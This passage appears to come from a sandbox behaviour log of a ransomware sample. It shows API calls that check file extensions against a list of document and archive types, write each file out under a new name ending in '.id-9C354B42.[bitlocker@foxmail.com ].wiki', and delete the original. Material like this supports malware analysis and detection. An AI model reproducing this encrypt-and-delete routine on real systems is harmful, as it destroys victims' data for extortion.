dwFileAttributes=0x2020) returned 1 [0174.411] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms")) returned 1 [0174.411] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.412] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.412] lstrlenW (lpString=".doc") returned 4 [0174.412] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString=".docx") returned 5 [0174.412] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0174.412] lstrlenW (lpString=".pdf") returned 4 [0174.412] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString=".xls") returned 4 [0174.412] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString=".xlsx") returned 5 [0174.412] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0174.412] lstrlenW (lpString=".ppt") returned 4 [0174.412] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.412] lstrlenW (lpString=".zip") returned 4 [0174.412] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString=".rar") returned 4 [0174.412] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString=".bz2") returned 4 [0174.412] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString=".7z") returned 3 [0174.412] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0174.412] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.412] lstrlenW (lpString=".dbf") returned 4 [0174.412] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0174.412] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.412] lstrlenW (lpString=".1cd") returned 4 [0174.412] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.413] lstrlenW (lpString=".jpg") returned 4 [0174.413] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.413] lstrlenW (lpString=".doc") returned 4 [0174.413] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString=".docx") returned 5 [0174.413] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0174.413] lstrlenW (lpString=".pdf") returned 4 [0174.413] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString=".xls") returned 4 [0174.413] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString=".xlsx") returned 5 [0174.413] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0174.413] lstrlenW (lpString=".ppt") returned 4 [0174.413] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.413] lstrlenW (lpString=".zip") returned 4 [0174.413] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString=".rar") returned 4 [0174.413] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString=".bz2") returned 4 [0174.413] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0174.413] lstrlenW (lpString=".7z") returned 3 [0174.413] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0174.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.413] lstrlenW (lpString=".dbf") returned 4 [0174.414] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0174.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.414] lstrlenW (lpString=".1cd") returned 4 [0174.414] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0174.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned 164 [0174.414] lstrlenW (lpString=".jpg") returned 4 [0174.414] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0174.414] lstrcmpiW (lpString1=".manifest", lpString2=".wiki") returned -1 [0174.414] lstrlenW (lpString="clickonce_bootstrap.exe.manifest") returned 32 [0174.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.414] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=13643) returned 1 [0174.414] CloseHandle (hObject=0x124) returned 1 [0174.414] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest")) returned 0x2020 [0174.415] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.415] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.415] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.415] GetLastError () returned 0x0 [0174.415] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x354b, lpOverlapped=0x0) returned 1 [0174.418] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x3550, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x3550, lpOverlapped=0x0) returned 1 [0174.419] ReadFile (in: hFile=0x124, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.419] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x114, lpOverlapped=0x0) returned 1 [0174.419] SetEndOfFile (hFile=0x1b4) returned 1 [0174.419] CloseHandle (hObject=0x1b4) returned 1 [0174.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.419] SetEndOfFile (hFile=0x124) returned 1 [0174.420] CloseHandle (hObject=0x124) returned 1 [0174.420] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.420] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest")) returned 1 [0174.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.421] lstrlenW (lpString=".doc") returned 4 [0174.421] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString=".docx") returned 5 [0174.421] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.421] lstrlenW (lpString=".pdf") returned 4 [0174.421] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString=".xls") returned 4 [0174.421] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString=".xlsx") returned 5 [0174.421] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.421] lstrlenW (lpString=".ppt") returned 4 [0174.421] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.421] lstrlenW (lpString=".zip") returned 4 [0174.421] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString=".rar") returned 4 [0174.421] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString=".bz2") returned 4 [0174.421] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString=".7z") returned 3 [0174.421] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.421] lstrlenW (lpString=".dbf") returned 4 [0174.421] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.421] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.421] lstrlenW (lpString=".1cd") returned 4 [0174.687] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.688] lstrlenW (lpString=".jpg") returned 4 [0174.688] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.688] lstrlenW (lpString=".doc") returned 4 [0174.688] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString=".docx") returned 5 [0174.688] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.688] lstrlenW (lpString=".pdf") returned 4 [0174.688] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString=".xls") returned 4 [0174.688] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString=".xlsx") returned 5 [0174.688] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.688] lstrlenW (lpString=".ppt") returned 4 [0174.688] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.688] lstrlenW (lpString=".zip") returned 4 [0174.688] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString=".rar") returned 4 [0174.688] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString=".bz2") returned 4 [0174.688] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString=".7z") returned 3 [0174.688] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.688] lstrlenW (lpString=".dbf") returned 4 [0174.688] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.689] lstrlenW (lpString=".1cd") returned 4 [0174.689] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 166 [0174.689] lstrlenW (lpString=".jpg") returned 4 [0174.689] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.689] lstrcmpiW (lpString1=".cdf-ms", lpString2=".wiki") returned -1 [0174.689] lstrlenW (lpString="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 66 [0174.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.690] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=0) returned 1 [0174.690] CloseHandle (hObject=0x334) returned 1 [0174.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.690] lstrlenW (lpString=".doc") returned 4 [0174.690] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0174.690] lstrlenW (lpString=".docx") returned 5 [0174.690] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0174.690] lstrlenW (lpString=".pdf") returned 4 [0174.690] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0174.690] lstrlenW (lpString=".xls") returned 4 [0174.690] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0174.690] lstrlenW (lpString=".xlsx") returned 5 [0174.690] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0174.690] lstrlenW (lpString=".ppt") returned 4 [0174.690] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.691] lstrlenW (lpString=".zip") returned 4 [0174.691] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString=".rar") returned 4 [0174.691] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString=".bz2") returned 4 [0174.691] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString=".7z") returned 3 [0174.691] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0174.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.691] lstrlenW (lpString=".dbf") returned 4 [0174.691] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.691] lstrlenW (lpString=".1cd") returned 4 [0174.691] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.691] lstrlenW (lpString=".jpg") returned 4 [0174.691] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.691] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.691] lstrlenW (lpString=".doc") returned 4 [0174.691] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString=".docx") returned 5 [0174.691] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0174.691] lstrlenW (lpString=".pdf") returned 4 [0174.691] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString=".xls") returned 4 [0174.691] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0174.691] lstrlenW (lpString=".xlsx") returned 5 [0174.691] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0174.692] lstrlenW (lpString=".ppt") returned 4 [0174.692] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0174.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.692] lstrlenW (lpString=".zip") returned 4 [0174.692] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0174.692] lstrlenW (lpString=".rar") returned 4 [0174.692] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0174.692] lstrlenW (lpString=".bz2") returned 4 [0174.692] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0174.692] lstrlenW (lpString=".7z") returned 3 [0174.692] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0174.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.692] lstrlenW (lpString=".dbf") returned 4 [0174.692] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0174.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.692] lstrlenW (lpString=".1cd") returned 4 [0174.692] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0174.692] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 155 [0174.692] lstrlenW (lpString=".jpg") returned 4 [0174.692] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0174.692] lstrcmpiW (lpString1=".manifest", lpString2=".wiki") returned -1 [0174.692] lstrlenW (lpString="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 68 [0174.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 